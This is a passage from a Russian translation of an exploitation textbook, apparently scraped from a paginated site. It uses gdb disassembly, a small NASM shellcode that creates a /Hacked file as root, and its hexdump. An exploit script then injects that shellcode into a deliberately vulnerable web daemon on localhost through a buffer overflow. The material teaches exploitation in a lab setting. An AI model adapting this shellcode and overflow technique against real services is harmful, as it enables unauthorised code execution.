    0x0804880d : mov DWORD PTR [esp+4],0x441
    0x08048815 : mov eax,DWORD PTR [ebp-16]
    0x08048818 : mov DWORD PTR [esp],eax
    0x0804881b : call 0x8048410
    ---Type to continue, or q to quit---q
    Quit
    (gdb)

    0x650 Пропуск очевидного
    379
    Вспомним, что аргументы функции проталкиваются в стек в обрат- ном порядке. В данном случае компилятор решил вместо команд push воспользоваться командой mov DWORD PTR [esp+смещение], значение_
    для_помещения_в_стек
    , но в результате в стеке получается та же самая структура. Первый аргумент – указатель на имя файла, находящийся в EAX, второй аргумент (помещаемый по адресу [esp+4]) равен 0x441, а третий аргумент (помещаемый по адресу [esp+8]) равен 0x180. Отсю- да следует, что O_WRONLY|O_CREAT|O_APPEND равно 0x441, а S_IRUSR|S_IWUSR равно 0x180. Следующий шелл-код использует эти значения, чтобы соз- дать файл hacked в корневом каталоге.
    mark.s
    BITS 32
    ; Отметить в файловой системе, что этот код выполнялся.
    jmp short one two:
    pop ebx ; Имя файла xor ecx, ecx mov BYTE [ebx+7], cl ; Null - конец имени файла push BYTE 0x5 ; Open()
    pop eax mov WORD cx, 0x441 ; O_WRONLY|O_APPEND|O_CREAT
    xor edx, edx mov WORD dx, 0x180 ; S_IRUSR|S_IWUSR
    int 0x80 ; Открыть создаваемый файл.
    ; eax = - возвращаемый дескриптор файла mov ebx, eax ; Дескриптор файла – во второй аргумент push BYTE 0x6 ; Close()
    pop eax int 0x80 ; Закрыть файл.
    xor eax, eax mov ebx, eax inc eax ; Выход.
    int 0x80 ; Exit(0), чтобы не было бесконечного цикла.
    one:
    call two db “/HackedX”
    ; 01234567
    Шелл-код открывает файл, чтобы создать его, и сразу же закрывает.
    В конце вызывается exit, чтобы выйти из бесконечного цикла. Исполь- зование этого нового шелл-кода с инструментом эксплойта:
    reader@hacking:/booksrc $ ./tinywebd
    Starting tiny web daemon.
    reader@hacking:/booksrc $ nasm mark.s reader@hacking:/booksrc $ hexdump -C mark
    00000000 eb 23 5b 31 c9 88 4b 07 6a 05 58 66 b9 41 04 31 |.#[1.K.j.Xf.A.1|
    00000010 d2 66 ba 80 01 cd 80 89 c3 6a 06 58 cd 80 31 c0 |.f....j.X.1.|

    380
    0x600 Противодействие
    00000020 89 c3 40 cd 80 e8 d8 ff ff ff 2f 48 61 63 6b 65 |.@..../Hacke|
    00000030 64 58 |dX|
    00000032
    reader@hacking:/booksrc $ ls -l /Hacked ls: /Hacked: No such file or directory reader@hacking:/booksrc $ ./xtool_tinywebd_steath.sh mark 127.0.0.1
    target IP: 127.0.0.1
    shellcode: mark (44 bytes)
    fake request: “GET / HTTP/1.1\x00” (15 bytes)
    [Fake Request (15 b)] [NOP (357 b)] [shellcode (44 b)] [ret addr (128 b)]
    localhost [127.0.0.1] 80 (www) open reader@hacking:/booksrc $ ls -l /Hacked
    -rw------- 1 root reader 0 2007-09-17 16:59 /Hacked reader@hacking:/booksrc $
    0x652 Наведение порядка
    Чтобы вернуть все на место, нужно устранить нарушения, вызван- ные переполнением буфера и/или шелл-кодом, и вернуть управле- ние в main() циклу, принимающему соединения. Дизассемблирование main()
    показывает, что вернуться в цикл принятия соединения можно, если перейти по адресу 0x08048f64, 0x08048f65 или 0x08048fb7.
    reader@hacking:/booksrc $ gcc -g tinywebd.c reader@hacking:/booksrc $ gdb -q ./a.out
    Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
    (gdb) disass main
    Dump of assembler code for function main:
    0x08048d93 : push ebp
    0x08048d94 : mov ebp,esp
    0x08048d96 : sub esp,0x68 0x08048d99 : and esp,0xfffffff0 0x08048d9c : mov eax,0x0 0x08048da1 : sub esp,eax
    .:[ вывод сокращен]:.
    0x08048f4b : mov DWORD PTR [esp],eax
    0x08048f4e : call 0x8048860
    0x08048f53 : cmp eax,0xffffffff
    0x08048f56 : jne 0x8048f64
    0x08048f58 : mov DWORD PTR [esp],0x804961a
    0x08048f5f : call 0x8048ac4
    0x08048f64 : nop
    0x08048f65 : mov DWORD PTR [ebp-60],0x10
    0x08048f6c : lea eax,[ebp-60]
    0x08048f6f : mov DWORD PTR [esp+8],eax
    0x08048f73 : lea eax,[ebp-56]
    0x08048f76 : mov DWORD PTR [esp+4],eax
    0x08048f7a : mov eax,ds:0x804a970 0x08048f7f : mov DWORD PTR [esp],eax

    0x650 Пропуск очевидного
    381
    0x08048f82 : call 0x80488d0
    0x08048f87 : mov DWORD PTR [ebp-12],eax
    0x08048f8a : cmp DWORD PTR [ebp-12],0xffffffff
    0x08048f8e : jne 0x8048f9c
    0x08048f90 : mov DWORD PTR [esp],0x804962e
    0x08048f97 : call 0x8048ac4
    0x08048f9c : mov eax,ds:0x804a96c
    0x08048fa1 : mov DWORD PTR [esp+8],eax
    0x08048fa5 : lea eax,[ebp-56]
    0x08048fa8 : mov DWORD PTR [esp+4],eax
    0x08048fac : mov eax,DWORD PTR [ebp-12]
    0x08048faf : mov DWORD PTR [esp],eax
    0x08048fb2 : call 0x8048fb9
    1   ...   33   34   35   36   37   38   39   40   ...   51


    написать администратору сайта